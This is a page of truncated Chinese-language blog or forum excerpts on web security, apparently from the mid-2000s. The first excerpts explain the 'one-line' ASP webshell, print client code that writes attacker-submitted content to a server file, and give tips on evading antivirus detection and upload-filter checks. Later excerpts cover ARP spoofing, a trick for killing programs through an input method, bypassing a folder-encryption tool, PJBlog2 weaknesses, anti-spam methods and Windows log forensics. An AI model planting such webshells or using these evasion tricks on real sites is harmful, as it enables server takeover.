这几天狂补asp，昨天休息，无聊就把自己的东西总结了一下，突然想到了我们经常使用的C/S型的webshell， 于是乎就胡乱分析了一下！呵呵！ 众所周知，蓝屏的最小的asp木马，服务端仅一句话： 可以说是C/S型木马的极品！再看客户端： set lP=server.createObject("Adodb.Stream") lP.Open lP.Type=2 lP.CharSet="gb2312" lP.writetext request("p") lP.SaveToFile server.mappath("Neeao.asp"),2 lP.Close set lP=nothing response.redirect "Neeao.asp"…
先讲一下原理： "一句话木马"服务端 就是我们要用来插入到asp文件中的asp语句，（不仅仅是以asp为后缀的数据库文件），该语句将回为触发，接收入侵者通过客户端提交的数据，执行并完成相应的操作，服务端的代码内容为 其中value可以自己修改 "一句话木马"客户端 用来向服务端提交控制数据的，提交的数据通过服务端构成完整的asp功能语句并执行，也就是生成我们所需要的asp木马文件 一句话木马客户端源文件： 里面涉及到一些脚本知识，我就只讲解一下功能和简单注释，不详细讲了，大家只要注意几个注意点就行了 ***********************************************************…
某些杀毒软件会把正常的asp文件误认为是asp木马文件，而自动删除，影响正常使用。 下面方法可能会有效避免被杀毒软件删除 把 改成 如果杀毒软件认为是病毒的关键字符串是一个对象的方法或属性 如 把 改成
以前好多朋友说过就是在程序上传shell过程中，程序不允许包含标记符号的内容的文件上传，这样就有好多shell不能上传上去了！那我们是不就没别的方法了么，当然有了！呵呵！ 我们拿蓝屏最小的ASP代码来看下： 我们来把他的标签换下来： 呵呵！这样就避开了使用，保存为.asp,程序照样执行,效果一样的说！
关于智能ABC漏洞利用的文章网上很多，很久没用现在都忘了是怎么一回事了， 又搜索了一次现将使用方法贴出来以备日后查询： 任何一个程序，只要有输入部分，就能调出智能ABC ！ 输入V，再按一下↑或←(将光标移到v前)，再按一下DEL键(删除v)，之后按空格或者回车 该程序立即被杀死！
前阵子木子屋中毒，打开时全是乱码，本地机子似乎也同时中毒了，查看源文件被多加了句代码(如上图示)，一经发现后马上停止了站点的运行，连上FTP将文件全部下载回来，搜索了全部页面和数据库却都没找到，便怀疑是服务器中了熊猫烧香，上次机子中熊猫烧香后它也是在网页中加类似的代码，联系客服他们却说是网站编码的问题（汗！）。我截了张图让他们好好再检查下服务器便下班了。第二天一上班打开木子屋好像没什么问题了，但发觉他们只是将上周的备份还原了下而已，然而不久访问时问题仍是依旧，再次向客服反映，这次等待了许久，最终问题是解决了，但我最终也没明白是怎么回事。 今天上蓝色论坛时看到"你的网站还好吗？遭遇ARP欺骗，怎么办？"才知道原来是服务器中了ARP欺骗木马病毒，应该是服务器所在机房的某台机器做了ARP欺骗了，在所有流经网关的网页前面都加了数据包。怪不得我会搜索不到，怪不得病毒会有时有有时没有。
朋友机子上的文件用"高强度文件夹加密大师"加密后忘了密码，向我求救，在网上搜索了相关资料后进行了一番测试，经检验是可行的，下边将测试过程写出来，希望对大家有用： 一、软件版本：高强度文件夹加密大师 V9000 Build 1005 二、准备工作： 1.解密工具：Folder Sniffer(文件夹嗅探器)、WinRAR 2.加密文档：在C盘根目录下建立三个文件夹001、002、003，里边分别存放001.xls、002.xls、003.xls，加密方式分别为本机加密、移动加密、隐藏加密。 三、相关说明 高强度文件夹加密大师加密方式有三种：本机加密、移动加密、隐藏加密。对于本机加密和隐藏加密，我们用Folder Sniffer进行解密；对于移动加密，我们用WinRAR进行解密。…
信息来源: 网安中国 (bbs.nschina.com) Author：lake2，http://lake2.0x54.org Date：2006-1-1 PJBlog2是PuterJam开发的一款免费的ASP + Access的个人blog系统，这几天偶想弄个blog来玩玩，经过比较选中了功能、界面都相对较好的PJBlog2。经过试用，感觉这blog还不错，也发现几个安全方面的小问题，就把我的一点点见解发出来。我分析的版本是05年12月11日发布的PJBlog2 v2.4.1211版本。 一、 密码加密算法 PJBlog2没有采用常用的MD5算法对用户密码加密，而是使用的SHA1算法。SHA1算法跟MD5类似，也是单向散列函数，不过它对任意长度的数据进行处理输出160位的数值。…
（v1.0） Written By: Refdom Email: refdom@xfocus.org Date: 2004-3-20 Update：2005-8-27 声明：安全焦点（xfocus security team）是非商业，全方位的网络安全组织，本文档为安全焦点发布的技术文件，供自由技术传播，拒绝商业使用。文档的所有权归属安全焦点，任何使用文档中所介绍技术者对其后果自行负责，安全焦点以及本文档作者不对其承担任何责任。 目录 1 概述 3 1.1 什么是垃圾邮件？ 3 1.2 安全问题 4 2 反垃圾邮件技术 4 2.1 过滤 5 2.1.1 关键词过滤 5 2.1.2 黑白名单 5…
随着网络的不断扩大，网络安全更加会成为人们的一个焦点，同时也成为是否能进一步投入到更深更广领域的一个基石。当然网络的安全也是一个动态的概念，世界上没有绝对安全的网络，只有相对安全的网络。相对安全环境的取得可以通过不断地完善系统程序（及时给系统漏洞打上不同的补丁和给系统升级）、装上防火墙，同时对那些胆敢在网络上破坏秩序做出不义行为的人给予恰如其分的处理。这必然要牵涉到证据的收集，本文正是对这一方面的内容针对Windows系统进行研究。 一、Windows系统特性 Windows操作系统维护三个相互独立的日志文件：系统日志、应用程序日志、安全日志。 1.系统日志 系统日志记录系统进程和设备驱动程序的活动。它审核的系统事件包括启动失败的设备驱动程序、硬件错误、重复的IP地址，以及服务的启动、暂停和停止。系统日志包含由系统组件记录的事情。例如在系统日志中记录启动期间要加载的驱动程序或其他系统组件的故障。由系统组件记录的事件类型是预先确定的。系统日志还包括了系统组件出现的问题，比如启动时某个驱动程序加载失败等。…